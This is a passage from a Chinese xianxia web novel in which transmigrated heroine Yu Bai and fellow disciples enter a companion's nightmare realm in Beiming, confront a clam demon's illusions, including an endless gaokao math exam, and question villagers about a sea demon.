四周静得可怕,余白只能听到自己的呼吸声和心跳声,天地间好像只有她一个人。 她害怕的想要呼唤系统,一只带着薄茧的手抓住了她的胳膊。 余白看不到,但知道身旁的人是江小白。 她的心慢慢安定,安定下来后又从恐慌转化成了恍惚,意识不清的时候,隐约听到了重明的声音。 那声音更远了,如烟如雾。 “游仙化梦,梦见浮生。 浮生三千,三千混沌借天光。” 脑子里的系统发出滋滋的电流声,余白头疼欲裂,眼前一黑晕了过去。 等到再次醒来的时候依旧眼前一黑。 余白瞳孔一缩,以为自己瞎了,害怕地满地乱爬。 “……” 一声轻叹后,一簇白紫色的火焰燃起。 “你没瞎,现在是晚上。” 余白眯了眯眼睛,适应了光线后这才看清少年的脸。 “呜呜,小白师弟,吓死我了,我刚才以为我修为太低,一进来就被反噬没了五感呢。” 她嘤嘤唧唧了几嗓子后发现了盲点—— “这里怎么就我们两个人?方遒呢,其他人呢?” “不知道,可能传送到别的什么地方去了吧。” 梦魇不是单纯的一个梦境,而是一个虚无的世界。 周然从小到大认识的人,去过的地方,都会在这里出现,这意味着他们这些人有的可能去到了周然小时候,有的去到了别的时间段,千千万万个时间段构成了这个庞大的梦魇幻境。 江厌星在余白清醒之前就大致摸清了周遭的情况,这是一片森林,没有妖兽,也没有猛兽,安全安静得有些诡异。 不光是环境的陌生,他对那个叫周然的弟子更是一无所知。 江厌星问道:“你和这个周然熟吗?前段时间他去何处历练你知道吗?” 余白道:“我和周师兄不怎么熟,不过因为他是跟沈琢一同去历练的,所以他的动向还挺多人知道的。” 沈琢是宗门的名人,少年的一举一动都备受瞩目,前段时间更是他第一次历练,还没等他下山,苍灵峰那边就传出了他要去北冥历练的消息。 “北冥?” 江厌星对这个地方有点印象,好像是归墟附近的一片海域,海域位于修真界和人界之间,以南住着靠海而生的人族,以北则是归墟。 宗门历练不可能会去别宗地界,因此很容易就排除了后者。 这个副本名为“梦浮生”,名字十分高大上,那个男同学写的也给人这种感觉。 故作深奥,玄乎其玄,余白当时看完也是云里雾里,满头问号。 加上他自己估计也觉得写的吃力,砍掉了大纲匆匆结束了这个副本,因此余白除了知道几个关键人物之外,也和江厌星一样对这个梦魇两眼一抹黑。 余白绞尽脑汁思考有用的信息:“对了,我还记得他们说什么北冥有海妖作祟,掀风起浪,伤害渔民。渔民无法出海,无法谋生,日子苦不堪言,于是才不得已点了启天香,请求修士出手,诛伏妖邪。” 江厌星只是在余白看那本小说的时候出于好奇瞥了几眼,因此除了知道自己被对方写成了男主对照组,何毓秀成了男主后宫之一之外,全都一无所知。 根据余白的话,他才勉强确定了他们此时所处的地方。 “我们运气不错,在你没醒之前我御剑去四周转了一圈,森林北边是海,如果没猜错的话我们就在北冥。” 余白听后并没有露出惊喜的表情,而是怀疑和警惕。 江厌星皱眉:“你这什么表情?” 她缩了缩脖子:“你突然运气变好了,我有点慌。” 无数个时间段和地点,他们却能一次成功,别人或许是运气好,于江厌星这个天缺而言,简直就是暴风雨前的宁静。 江厌星也沉默了。 “……啧,兵来将挡水来土掩,怕什么?总归不会让你有事的。” 他将第一流递给余白:“先离开这片森林吧,这里总给我一种不祥的预感。” 余白一听有危险赶紧踩到剑上:“走!” 梦魇里的时间流速和现实世界不同,这里的一个月相当于外面的一天。 江厌星和余白很快就飞出了森林,一出去,潮湿腥咸的海风迎面糊了她一脸。 她感觉像是被人舔了一口,难受得她眉毛鼻子都皱一块儿了。 江厌星手在她面前拂了下,一层薄薄的灵力将潮湿的气息隔绝。 余白总算能顺畅呼吸了。 她抹了一把脸,江厌星不光用灵力隔绝了气息也挡住了海风,余白这时候才能完全睁开眼看清楚眼前的景象。 呼啸的海风之下是一片浩瀚漆黑的海域,巨浪翻涌,响声如雷,余白和江厌星置身于海域之上就像站在一头巨大的怪物的嘴边,随时都会张口把他们吞噬殆尽。 36 第三十六章 余白也从系统屏幕上看到了方遒,眼看着她要把人给掐得喘不上气来,赶紧飞过去拉住了她。 “方遒你疯了?就算你再讨厌沈琢也不至于置他于死地啊!” “我就是要他死!平时在外面这家伙滑头的不行,我根本就讨不到什么好,今天可不让我逮着机会了吗?你松手,我掐死他!让他给我师尊告密,我十次有八次被老头子打都是因为他,反正这里一切都是假的,这是周然梦魇里的沈琢又不是真人,死不了,让我掐一次解解气!” “他是真的。” 江厌星冷不丁道。 方遒一愣:“啥?真的?” 刚才入梦魇的人里没沈琢啊。 江厌星道:“他没跟我们一块儿进去,是很早之前就在梦魇里了,总之你先把人松开吧,不然他真被你掐死了。” 方遒半信半疑松开掐在少年脖子上的手,沈琢呼吸到新鲜空气的第一时间就是反掐回去。 “哎哎哎!都住手,别打了!” 不要再为我打架了,要打去练舞室打! 不是,这种时候烂梗就不要冒出来啊喂! 余白刚拉完方遒又去拉沈琢,少年又被掐又被水呛,浑身没什么力气,很轻易就被拉开了。 他眼尾发红,脸色被冰冷的海水浸泡得苍白没什么血色,胸口剧烈起伏,气得不轻。 “沈琢,我艹你祖宗,你……?!” 在方遒要扑过去前,江厌星先一步提溜住了她的衣领。 “想打上了岸再打。” 他又过来以同样的姿势把余白那边的沈琢也拎上,不顾两人的挣扎,一手一个御空把人带离了海域。 余白紧跟其后。 到了岸边江厌星把人放下,无视了沈琢一阵青一阵白的难看脸色,问道:“到底怎么回事?” 沈琢对少年的无礼十分不满,可因为人救了他,也不好发作,只深吸了一口气压着情绪道:“还能怎么回事?被困在里面了呗。” 沈琢是第一个发现周然不对劲的,当时他便用神识进入了他的梦魇,想把人给带回来,结果人没带出来,自己反而出不去了。 不过他也不着急,他的命灯在他师尊那里,他情况有异对方第一时间就能觉察。 不想他没等来师尊,等来了方遒这晦气玩意儿。 沈琢又反问道:“你们呢?” “我们是重明长老给塞进来的,不止我们,好多弟子都进来了,我们都是来帮周师兄的。” 沈琢一下子就从余白的话里觉察到了重明的意图:“哈?他还真是看热闹不嫌事大,周然都那副要死不活的样子了,他竟然还把他当试炼?” 还有,方遒这个不着调的也就算了,至少她有天赋,余白…… “你那是什么眼神?看不起我吗?” 余白叉腰瞪他:“要不是我刚才帮忙把方遒拉住,你早被她掐死了!” 沈琢心虚道:“我什么都没说,是你自己多想。” 大少爷只是气弱了那么一下,他将自己歪掉的金冠摆正,用术法把他身上的水汽烘干,理了理衣服上的褶皱,一下子就从前一秒狼狈的水鬼变回了贵公子。 “他又是谁?” 先前沈琢被江厌星拎着飞让他觉得很丢脸,他不想直接和他说话,便去问余白。 余白道:“他叫江小白,新入门的弟子,也同我们一块儿来试炼的。” “哦。” 余白见他反应冷淡,以为他看不起江厌星,说道:“你别以貌取人,人虽刚入门尚未拜师,可他已经是金丹了,这次试炼要是出什么事情没准我们都得仰仗他呢。” 沈琢冷笑:“金丹又如何?要破梦靠的可不仅仅是修为,若找不到症结所在哪怕是元婴,离光境的人来了都得在这里困到神识散尽而死。” “呵呵,你就酸吧,有些人卡在筑基巅峰两年了,做梦都想到金丹呢。” 方遒立刻见缝插针,不放过任何一个可以嘲讽沈琢的机会。 沈琢反唇相讥:“那也比某人入道五载还停在筑基中期强。” “……够了,我是练气我说什么了吗?” 余白无语了:“还有别忘了我们来这里的目的,吵架什么时候都能吵,现在正事要紧。” “我们才进来,沈琢你进来有一个多月了吧?怎么样,有没有找到什么线索?” 沈琢是第一时间发现周然不对劲的,他们是在这两日回的宗门,外面一日此间一月,算来他在这里待了应当有接近两月了。 他的脸沉了下来:“暂时没有,我三天前才从无数个时间段里找到了当时和周然一块儿历练的时间,然后在海里漂了一夜,眼看着就要上岸了,半路杀出了个程咬金把我又摁了回去。” 程咬金方遒摸了下鼻子,看天看地就是不看沈琢。 沈琢冷哼了声,又继续道:“不过只要找到这里之后一切就好办多了。我们是通过启天香得知这里有妖邪,那些渔民说那海妖有断海移山的通天修为,我们一行人做了充足的准备才来,里面甚至还有一个一步元婴的师姐,结果来了发现附近就只有几只低等水妖,我们将其斩杀后观察了几日发现并无异常便回来了。” 事情也是到这儿开始变得古怪起来。 “等我们回来后周然就变得魂不守舍,连最基本的法阵都画错了,晚上开始高热不退,甚至出现了离魂的情况。” 所谓离魂便是身魂相斥,魂魄离体,也叫做出窍。 魂魄离体时间一旦超过了自身承受范围,届时回到肉身也不能与其相融不说,还有身消道陨的风险。 “可奇怪的是我们一行人只有周然有事,所以我猜测一定是同当时在北冥同他交手的那只蚌妖有关。” 余白若有所思:“也就是说咱们只需要找到那只蚌精一切就能迎刃而解了?” 方遒:“哪有那么容易?北冥这么大,里面的蚌妖没有一万也有一千,上哪儿找去?” 他们倒是有时间,周然没有,等到找到了他早就成一具干尸了。 “没那么麻烦,既然这里是周然的梦魇,只要我们在正确的时间线上,碰上那只蚌精是必然。” 沈琢踩一捧一:“倒是还有个聪明人。” 他拍了拍衣服,把不小心沾上的沙子拍掉,又从芥子囊里重新取了一件衣服换上,同样的白底袖纹金线牡丹。 还挑了一条镶嵌白玉的腰带,又坠上一个金丝流苏,面上藏有繁复暗纹的香囊。 沈琢爱美物喜华服,这一套对他来说已算是轻装上阵了,平时在宗门他每天衣服发冠都不带重样的,更夸张的是之前沈家主持祭天法会的时候,余白代余秋离出席,少年穿的更是华丽隆重,一身红衣层层叠叠,珠光美玉,闪瞎了她的狗眼。 人美,衣服也美,对她这个颜狗的眼睛简直不要太友好。 可惜的是她那时候画技还没有如今这么好,怎么画也不满意,只得作罢,这才没有把那惊为天人的一幕记录下来。 不过沈琢这样打扮也很赏心悦目。 方遒却最看不惯沈琢这么骚包,眼睛都要翻到天上去了。 “好了没大少爷,需不需要我们给你伺候更衣啊?” 沈琢也不理她,换好对余白道:“沿着这片海域往南走就是龙骨村,今晚我们可以去村子借宿。” 四人御剑到了龙骨村是半个时辰后的事情了,站在半空往下看,密密麻麻方渔船绑在一块儿,停靠岸边。 随着海浪时不时的翻滚下也一并起伏,不仔细看还真像一条蜿蜒的龙。 这龙骨村便是因此得名。 沈琢之前来过这里,轻车熟路便找到了村长家。 “你们是?” “我们是天极宗的弟子,是为诛伏妖邪来的。” 村长露出有些惊愕的表情:“你们也是天极宗的?” 看来他们此时所处的时间线是在来渔村之后,沈琢道:“我们和先前来的弟子是一起的,只是中途耽搁了点时间。” 村长半信半疑,里屋的周然听到动静走了出来,看到沈琢后连忙上前。 “沈师弟,你去哪儿了?” 这里每一个时间线的周然都是真实的,因为这是他的梦魇。 沈琢从善如流扯谎:“屋子里太闷去海边散了会儿步,我同村长说了,你说是吧村长?” 村长是虚假的幻影,他的意识能够被自如更改。 村长前一秒还看着他们一脸陌生,后一秒便露出恍然大悟的表情,点头道:“对,是这样没错。不好意思啊周仙长,我这忙事忙完了,忘给你说了。” “仙长们快进屋吧,马上海蚀了,外面风大浪大,当心着凉。” 村长把他们请进了屋,又给他们倒了热茶,他笑得讨好,常年在海边劳作被风吹日晒搓磨的脸很是粗糙。 “都是些粗茶,仙长们别嫌弃。” “不嫌弃不嫌弃。” 余白吹了一路风脸都冻僵了,捧着茶杯喝了一口才感觉自己活了过来。 方遒原本也是凡人,对吃喝什么没什么讲究,只要能入口都能接受,所以也和余白一样拿起就喝。 沈琢和江厌星都没动,前者是嫌弃,后者单纯不渴。 “周师兄,你这几日可有遇到什么妖物?” 周然觉得奇怪,他和沈琢都是一块行动的,他遇到什么妖物对方岂会不知。 不过沈琢问了他便答了。 他说的里面并没有蚌精。 时间彻底确定了,是在没有遇到蚌精前。 因为今日实在太晚,大致了解了时间和目前的一些情况后便休息去了。 村长家的房间有限,只够周然和沈琢住,于是余白他们便被村长安置在了隔壁渔民的家里。 这家屋子分为上下两层,应当是村里比较富裕的人家,不过也只有两间空房。 余白和方遒睡一间,江厌星睡楼下那间。 修士本身就不怎么需要睡眠,此时又处于在随时都有可能出现妖邪的地方,方遒和余白都没什么睡意。 房子靠海,一抬头就能看到海上明月。 皎洁的月光照在海面,给漆黑可怖的大海渡上了一层细碎的柔光。 余白本来也就是随意往外一瞥,这一看隐约发现这月亮有点不对劲。 “方遒,你看,月亮是不是有点红?” 方遒眯着眼睛盯了会儿:“唔,好像是有点儿。不过北冥这边妖邪不少,晚上又是妖气最盛的时候,周遭气息混浊,月亮的颜色不大一样也正常。我跟着我师尊去虚无海的时候,那边更夸张,魔气浓郁的连月亮都看不见了。” “你说这会不会跟村长说的那什么海蚀有关?” 蚀一般指的是由妖邪影响下出现的天灾,海蚀通常表现为海啸,海底地震,龙卷风之类的。 “我说的不就是这意思吗?” 余白解释道:“不是,你说的是妖气影响了月亮,我想说的是会不会是月亮影响了妖邪?” 方遒像是听到了什么好笑的笑话,在床上捂着肚子哈哈大笑。 余白:“?你笑什么?我说了什么很可笑的话吗?” 她笑了一会儿,眼泪都要笑出来了才停下:“不是好笑,是绝无可能。日月都是天道的化身,日为阳,月为阴。妖邪的气息之所以能影响月亮,是因为两者本质上都属阴气,月在吸收了这些混浊的阴气后会出现一些颜色或形状的变化,但妖邪的力量依旧是它们自身的,而非修士那样可以吸收日月精华来用以修炼。因此月亮是绝不可能影响妖邪的。” “……好深奥,不过大致上我应该懂了。” 就是日精月华都是天道之力,非妖邪魔祟能使用的。 余白之所以这样猜测是因为这个海蚀是每月一次,这种有规律的情况不像行事无矩的妖邪做的,更像是一种自然现象。 看来是她想岔了,那些翻涌的海域和底下躁动的妖邪和月亮的变化无关。 也是,都是修仙世界了,哪有什么科学可言? 方遒支着头懒懒看向一旁若有所思的余白,说道:“那你想不想知道月亮能不能影响修士?” 余白觉得她在把自己当傻子,白了一眼道:“肯定能啊,按照你的那套说法,妖邪不能直接使用月华之力所以不会被月亮影响,我们修士能直接使用,那不就能被影响了?而且灵族很多都是吸收月华而非日精修炼,这一点更能佐证。” “错,大错特错。” 她将两根手指交叉,否定了余白的回答。 “修士能使用日精月华修炼并不代表日,月能影响我们,或者准确来说是有资格获得它们,也就是天道的影响。只有大气运者才能被天道影响,也就是天道庇护。修士之如天命者,人族之如人皇。所以我刚才才笑你。区区妖邪,怎么可能被天道庇护?不落下惩戒就不错了。” 余白恍然大悟:“原来如此。” 方遒自小跟着她师尊走南闯北,见多识广,一个听得津津有味,一个讲的滔滔不绝,大半宿就这样过去了。 两人只睡了不到两个时辰,门外便传来了敲门声。 “余白,吃饭了。” 江厌星的声音清亮,一点都没有刚睡醒的沙哑,余白迷迷糊糊应了声“好”,收拾好后和打折哈欠的方遒一块儿下楼。 早餐是海鲜粥和一碟子咸菜和小鱼干,江厌星等她们吃得差不多了才开口。 “我昨晚去海域四周勘察了一圈,海面以北雾气很重,其余海域虽然也有海雾,浓度远不及前者。所以如果要找那个引周然入梦魇生心魔的蚌精,我觉得往这边去调查最合适。” 余白不解:“海雾和蚌精之间有什么关系吗?” 江厌星道:“海市蜃楼知道吗?蚌精擅幻术,一般海雾浓重的地方多有它们出没的痕迹。” “这样啊……” 她猛然反应过来了什么,瞪大眼睛:“你昨晚一晚上都没睡?” 江厌星一愣,没想到她关注点是这个,不禁失笑:“我早就入道脱离了肉体凡胎,别说一夜,哪怕一月不睡也不会如何。” 余白戳着碗里的吃剩的虾头,闷闷道:“不是睡不睡的问题,咱们是一块儿的,你出门该叫上我们的。” 想起自己昨晚睡不着什么也没做,就光顾着跟方遒聊天了,她心里十分过意不去。 而且周然的修为不低,还是在有一位元婴师姐的领队下都着了道,江小白一个人行动,要是遇到了什么危险,后果不堪设想。 37 第三十七章 蚌精不懂什么高清无/码无删减,可余白报的那几个名字实在露骨,它整个蚌都要烧熟了。 “你!你这个不知廉耻的臭道士!” 蚌精觉得余白是在故意戏耍它,怒不可遏,伸手把她用力一推。 原本的教室骤然变成了万丈悬崖,她像折断羽翼的鸟不受控制的往下坠,然后“噗通”一声砸进了海里。 如果她陷入梦魇的话此刻可能已经溺毙在深海了,但她是清醒的,她能清楚的知道这一切都是幻觉,所以余白没有去屏住呼吸,而是大口大口呼吸。 她拨开海水像是拨云见雾,海水无垠浩瀚,她能撼动的部分微乎其微。 余白觉得自己变成了一尾鱼,压抑的空间在出现了这个意识后变得自在轻盈了起来。 那个蚌精大概是恼羞成怒想把封印在梦魇里,慢慢绞杀,变成它的养分。 余白虽没有中招,但那些幻象依旧根据她的意识不受控制源源不断在诞生。 一个一个泡泡环绕在她身边,里面的记忆像走马灯一样开始播放。 有在学校的,家里的,也有天极宗的,其中有两个最大的泡泡由远及近慢慢朝着她飘来。 里面少女一头齐腰长发,面容清绝,眉眼如画,穿着再简单不过的蓝白运动服,手上拿着一个三球DQ冰淇淋,天热,冰淇淋都要化了,她用手去挡太阳。 这时画面中的少女感知到了什么突然回头,笑靥如花着将冰淇淋递了过来。 “小鱼,给你买了你爱吃的冰淇淋,快吃吧。” 余白下意识张嘴,“啪”,在要咬上冰淇淋的瞬间,泡泡破了。 冰淇淋和少女都消失了。 余白鼻子一酸,既难过到嘴的冰淇淋飞了,又在难过少女的离去。 “别哭,假的,都是假的。” 她咬着嘴唇,强忍着眼泪不掉下来。 明明余白都够难过了,这时候系统居然还出声催促她快画。 【这就是海市蜃楼,幻由心生,千人千象,主系统没有规定必须要主角或者重要角色的海市蜃楼,你打卡你的也算丰富小说内容!快,机不可失,再不画就没机会了!】 余白很生气,这个死人机,一点都读不懂空气!没看到她真伤心着吗,就算要她干活也不知道先安慰几句吗? 要是何毓秀或者江厌星才不会这么对她! 以前余白也不是没想过家,想过何毓秀他们,只是每次想她都很难受,以至于后来渐渐的她开始强迫自己不要去想,准确来说她开始让自己移情。 她将天极宗当家,将天极宗的大家当朋友和家人,这种行为很不好,像替代品,但是余白不这样想的话很难在孤身一人的修真界撑下来。 如今这个蚌精看穿了她表面的伪装,将内心压抑的情绪如泄洪开闸般放大放出,几乎要把她淹没溺毙。 余白视野开始变得迷糊,意识也混沌了,眼前的景色不断在深海和教室和家之间来回切换,现实和幻境的边界越来越模糊,在她快要分不清自己身处何处的时候,脑袋一阵钝痛。 系统又给她来了一道强力电击。 【宿主,清醒了吗?清醒了赶紧画吧!】 我艹你祖宗! 余白疼得面容扭曲,骂骂咧咧地拿着灵笔开始画。 和以往灵感来了刷刷几笔就画成不同,这一幅余白画的十分细致,一笔一划都斟酌了再斟酌,好不容易大功告成不小心滴了一点墨迹又撕了重画。 系统起初也没催,只要动笔了就行,况且梦魇里的时间流逝的比外面慢多了,也就任由着余白磨洋工,想看看她认真画能画出什么样子来。 结果除了细节多了点之外,似乎和以往的潦草抽象风格相比也没什么不同。 余白画了又画,如何也不满意。 “啊啊啊,不行,这张不行,这张也不行!连还原出秀秀百分之十,不,百分之一的美貌都没有!” 【……】 系统很想说你随便画吧,无非就是丑和更丑的区别罢了。 不想比它还先忍耐不下去的是蚌精。 “啊啊啊你这个臭道士!你在我身体里干了什么?呕,这是什么,好恶心,你拉我身体里了?!” 系统:【……】 余白本来画不好就心烦意乱,听到蚌精这话气得火冒三丈,因为不知道蚌精在哪里,所以跳起来指着周围一圈骂道:“你侮辱我可以,不准侮辱我的好朋友!你才恶心,你全家都恶心!” “你画得跟狗屎一样还敢说我恶心?你恶心,你才恶心!” 在“你恶心”“你更恶心”的小学鸡吵架中,蚌精因为没余白气足败下阵来。 它气喘吁吁道:“好,你恶心我是吧,我也要恶心你!我要让你知道得罪我的下场有多可怕!” “让我看看你最怕什么?我要让你被恐惧包围,永远长眠在梦魇里!” 余白心下一惊,赶紧护住自己好不容易画成的画。 下一秒画面又有了变化,还是教室,但不是她的班级教室,而是一个全然陌生的教室。 每个座位都隔的很开,桌子上贴着考号。 这是考场? 余白心底有一种不祥的预感,果不其然,一抬头就看到黑板上写着考试相关的注意事项和警示语。 这不光是考场,还是高考考场。 余白一下子汗流浃背了。 “靠窗后面那个考生,马上要考试了你还傻站着干什么,还不赶紧回自己的位置!” 监考老师厉声呵斥着余白,来自老师对学生的压制让余白被吓得一激灵,下意识找了个位置就坐下。 一坐下,桌上就出现了她的考生信息。 “请监考老师开始,从前到后依此分发试卷。” 余白想走,可她身体被定住了无法动弹分毫。 直到试卷发到了她这里,她低头一看,更是两眼一黑。 竟然是她最苦手的数学。 本身她就偏科,现在穿过来快两年没碰过书,什么公式变型她都忘的一干二净了。 余白已经紧张得想吐了,因为神经太过紧绷,以至于她都忘了自己身处幻境这件事。 或许她是知道的,但这并不代表她不害怕。 这个蚌精的确有点本事,能一眼看出她内心最深处的恐惧。 她怕回不来家,更怕回家后直接高考。 如果是不可能发生的事情,再恐怖她也不会有太多的情绪波动,偏偏这是会发生的!只要她回家,高考是绝对不可能避免的! 余白别看了,这都是假的。 可是万一呢,万一这个蚌精真的厉害到可以还原高考试题呢? 要不试试做做看,看看自己现在什么水平? 余白咽了咽口水,在周遭考生刷刷刷的作答声中拿起了笔。 选择题第一题,送分题,很好,她还会。 第二题,略难,不过公式还记得。 第三题,艰难算出。 第四题,绞尽脑汁排除了两个,还剩两个点兵点将也选出来了。 然后…… 她发现她后面的基本不会做了。 如果说最开始她还抱着侥幸自己努努力应该可以及格的念头试一试,现在,已老实。 “距离考试结束还有十五分钟,请考生注意答题时间。” 余白紧张得心都提到嗓子眼了。 死脑,快想啊! 蚌精蛰伏在暗处,得意洋洋地看着余白抓耳挠腮的模样。 完了。 几次三番试图唤醒余白无果的系统慌得不行。 它和余白都小瞧了这蚌精的能力,它们以为只要保持清醒就不会被困在梦魇,事实证明并非如此。 梦魇梦魇,心有魇则生梦,不是保持清醒就能脱身,只要生出了负面情绪便意味着陷入了梦魇。 余白此时正是这种情况。 她知道这一切都是假的,可是她的紧张,恐惧的情绪不是假的。 除非她克服这些负面情绪,否则余白只会在这个梦魇里越陷越深,永远在考试,永远答不出题,无限循环。 余白也意识到了走不出去的后果,然后—— 她更害怕了! 哇呜呜,她不要考一辈子高考数学哇! 余白手越来越抖,写的字歪歪扭扭。 考试结束的前一秒,墙上的时钟倒退,重回到了考试开始的时候。 余白要疯了。 系统也要疯了。 前者是因为绞尽脑汁都写不出几道题,后者是因为想要搜索给她找答案抄却如何也连不了网。 这个虚幻的精神空间隔绝了一切,连带着把它的网也隔绝了。 系统整个统都很崩溃。 不为别的,要脱离这个梦魇很简单,只要克服它就行。 有的人是直面惨淡的人生,正视淋漓的鲜血,精神胜利法就能战胜梦魇,有的是自身修为强大可以反向压制对方也能成功离开,但余白两者都不具备! 因此目前摆脱这个梦魇的办法只有一个——那就是把题全答出来。 这是唯一能够让余白不恐惧的办法了。 可系统无法帮余白作弊,唯一的路也断了。 梦魇的时间无穷无尽,余白已经不知道自己度过了几周目了。 再一次拿到试卷后她题都没看刷刷将前面四道题的写上,然后一脸麻木等待着考试结束。 系统气得要短路了:【宿主,你能不能支愣一点!你努力啊你想啊,争取多做出哪怕一道题也行!你现在放弃难不成是不想回家了,想永远被困在这里做一辈子的题吗!】 它没办法了,开始疯狂破防。 【我命苦啊,我怎么会绑定上你这样不争气的宿主!你为什么不会?你不是上的重点中学吗?你又不是艺体生,你再偏科也不应该偏成这样啊?我懂了,你是不是走后门了?你家人给学校塞钱了是不是?】 “我不是我没有,你不要污蔑我,我是正儿八经考进来的!” 【我不信,那你成绩怎么那么差?】 余白急了:“谁说我成绩差了?我不差好不好?我在班级算中等了,那可是尖子班。而且我就是数学偏科严重,它但凡换语文之类的我肯定不会陷入如此僵局!” “而且之前每次考试都有我同桌给我圈重点,我同桌可是学神,押题一绝,有他帮忙我每次大考数学都能超及格线好十几分呢!” 余白耷拉着脑袋,闷闷道:“我想我同桌了。” 【……】 要是它绑定的宿主是那个江厌星就好了,要是他的话这个梦魇分分钟就打破了。 余白难受了一会儿,然后用力拍了下脸强迫自己打起精神来。 “不过你说得对,我不能这么坐以待毙,我不能总想着靠我同桌,我自己也要努力才行。” 她拿起试卷聚精会神开始审题,通过不懈努力她终于将选择题做完了,正确率暂且不提,进度至少动了。 哟西,终于到填空题了。 在余白与试卷拼命对抗的时候,一个泡泡悄无声息飘到了她身旁。 那个泡泡正是先前余白的记忆泡泡里面最大的两个之一,装着何毓秀的泡泡已经破了,现在这个泡泡里面装着的是一个眉眼昳丽的美少年。 泡泡轻盈飘近,沉浸在题海中的余白毫无所察。 少年垂眼看了一会儿,见余白咬着笔头,一脸痛苦的样子叹了口气。 在那声几不可闻的叹息后余白感觉有什么钻进了她身体,但回头又什么也看不见了。 她以为是自己的错觉,挠挠头继续与试卷奋战,结果这次不知怎么的原本看不懂的试题一下子变得跟一加一等于二一样简单,哪怕最后一道大题的最后一小题在她看来难度也不过从一加一变成了一乘一。 余白如有神助,刷刷刷不到十五分钟就把题目做完了。 “考试结束,请考生立即停笔。” 这一次没有时间倒流,考场如镜子一样咔嚓碎裂成无数碎片,错位,移动,最后碎片四散飞去。 梦魇破了。 余白回到了海域,海面的雾气消散,藏匿在海雾中的蚌精终于暴露在了空气里。 “余白,你没事吧?” 江厌星把手在她面前晃了晃,她视线慢慢聚焦,落到少年脸上。 刚才有那么一瞬间她好像看到了同桌。 她用力揉了揉眼睛,眼前依旧是那张平平无奇的路人脸。 余白莫名有点怅然。 38 第三十八章 余白:???! 系统:【???!】 woc! 他们刚才看到了什么?他把谁扔下了? 余白难以置信地看着翻涌的海面,周然的身影早就淹没在其中了无踪影。 “你疯了?!” 她宕机了一瞬,反应过来气急败坏往他背上就是一捶。 “我让你把我扔下不是他爹的把周然扔下!你把我扔下我还能靠法宝苟一苟,没准运气好还能脱身,你把他扔了就只有死路一条了!” 江厌星紧绷着神情,任由余白捶打,没了周然他速度快了不少,脚下生风,剑气如虹,一边挥斩巨浪,一边带着余白在海水要倾覆下来将他们吞没之前先一步抵达了岸边。 危机解除,他松开了余白的手,问道:“你还好吧,有没有被妖气伤到?” 余白梗住了,所有的火气被他这一问给堵在喉咙,上不去下不来,别提多憋屈了。 人毕竟救了自己,余白说不出什么过分的话,可她又的确很生气,于是就捏着拳头睁大眼睛瞪着他,以表达自己的愤怒和不满。 江厌星眨了眨眼睛,干脆利落道:“对不起。” 原以为会进行一番拉锯僵持的余白一愣,给对方整不会了。 江厌星吐出一口浊气,解释道:“我不是那种为了活命弃同伴不顾的人,这一点希望你不要误会。” “我没误会……我只是觉得你这样做很不明智,周然是我们离开梦魇的关键,而且就算他不是这个幻境的主人,单从他的修为来看你也不该扔下他留下我。” 余白闷闷道:“江小白,你太感情用事了。” 余白以为江厌星救她是因为他们是朋友。 “我没有感情用事,相反的,这是我思量再三的结果。” 他道:“周然的确是破局的关键,但整个幻境都是他的梦魇,他无处不在,你却不一样,你一旦和我分开再想要找到你无异于大海捞针。” 余白半信半疑:“真的?” 江厌星:“我骗你做甚?我在进来之前答应过重明长老要护你周全,修者一旦允诺是受天道制约的,我可不想被天道反噬。” 这下余白才真的相信了江厌星的说辞。 不光是周然,方遒和沈琢他们也被卷入了海里,明明只是去抓个蚌精,梦魇没破不说,结果战力还折损过半。 余白的情绪很是低迷。 “别担心,幻境的情况还算稳定,周然暂时不会有事,至于方遒和沈琢就更没那么容易出事了。” 方遒有金刚不坏之身,沈琢虽不知道他身负什么天赋,但能为方遒这样的体质增幅力量,足以证明他绝非普通法修那么简单。 况且两人还在一起,他们不对付归不对付,配合倒还默契。 话虽如此,余白还是很惆怅:“哎,希望如此吧。” “那我们现在该怎么办?是先找人还是抓那只蚌精?” 江厌星摇头:“都不是,我们先回去。” 余白紧张道:“你受伤了?” 江厌星道:“没有,只是这一次我们已经打草惊蛇了,短时间可能没法得手了。” “而且……”他顿了顿,将自己的猜测说了出来,“我觉得就算抓到那个蚌精也没用,它或许是让周然入梦的妖,却还没有强大到把妖气覆盖到整个北冥。” 余白也是这么认为的,那个蚌精胆子那么小,被江厌星一吓唬就碎了,哪有那样大的能耐? 一想起刚才那翻江倒海的可怕妖气,她感到一阵后怕。 那绝不是那个蚌精能做到的,这意味着深海之下还有更为可怕恐怖的存在。 “你能感知到它的境界吗?” 江厌星神情凝重:“我不知道,但至少在元婴。” 元婴?!那么强吗? 这明明是文中的一个中等难度的小副本,当时还是齐昭一人去的,用了不到三日便出来了,怎么到了她们这儿难度就成倍递增了?! 不会是因为江小白吧? 江厌星看出余白在怀疑什么,他自己也怀疑。 “……总之先回去从长计议吧。” 村长从他们早上出门后,时不时就要出门张望,因此他们前脚刚到村口,他就瞧见了。 村长忙迎上来,见他们平安回来一脸欢喜,随即发现一行五人只剩两人后神情一顿,表情从欢喜变得悲怆,最终他深深叹了口气。 “两位仙长节哀。” “?” 余白:“……呃,村长,他们没死,只是同我们走散了而已。” 村长眼神悲哀:“在北冥没有走散的人,只有被海吞噬的人。” 他们曾经也抱有过期待,相信那些出海的亲人只是失踪了,很快就会回来,可是一年,两年……没有等来任何生还者,就连前来除妖的修者也不例外。 江厌星道:“既然你们让我们除妖,那妖是什么你可知道?可有见过?” 村长从腰间拿出个生了锈的烟斗抽了一口,隔着烟雾望向远处渐渐平息的海域。 “我不知道那是什么妖怪,那妖怪昼伏夜出,每次出现的时候海上都会升起跟墨汁一样的黑雾,这些黑雾不仅会让出海的人迷失方向,还会让村民们患病,身上长出像鱼鳞一样的东西,如蛆附骨,痛痒无比,最后失去理智,跳海自杀。” 他说到这里眼眶发红,咬牙切齿道:“我的儿子就是染了这个病才没的。” “节哀。” 江厌星:“除了这些呢,你还知道什么?” 只是这么点信息对他们而言并没有什么帮助。 村长摸了把脸:“海神节要到了。” “海神节?” “海神节是我们北冥这一带的传统节日,起源于五百年前,当年的北冥也多风浪,渔民出海前会去周围寺庙求平安符,祈求出行一帆风顺。起初大家也就是图个心安,并不是真的相信有什么怪力乱神之说。直到一日有个孩子贪玩,在飓风天跑出去被刮到海里去了,大家都认为这孩子凶多吉少了,没想到隔天那孩子又出现在了海边,而且连衣服都没湿。” 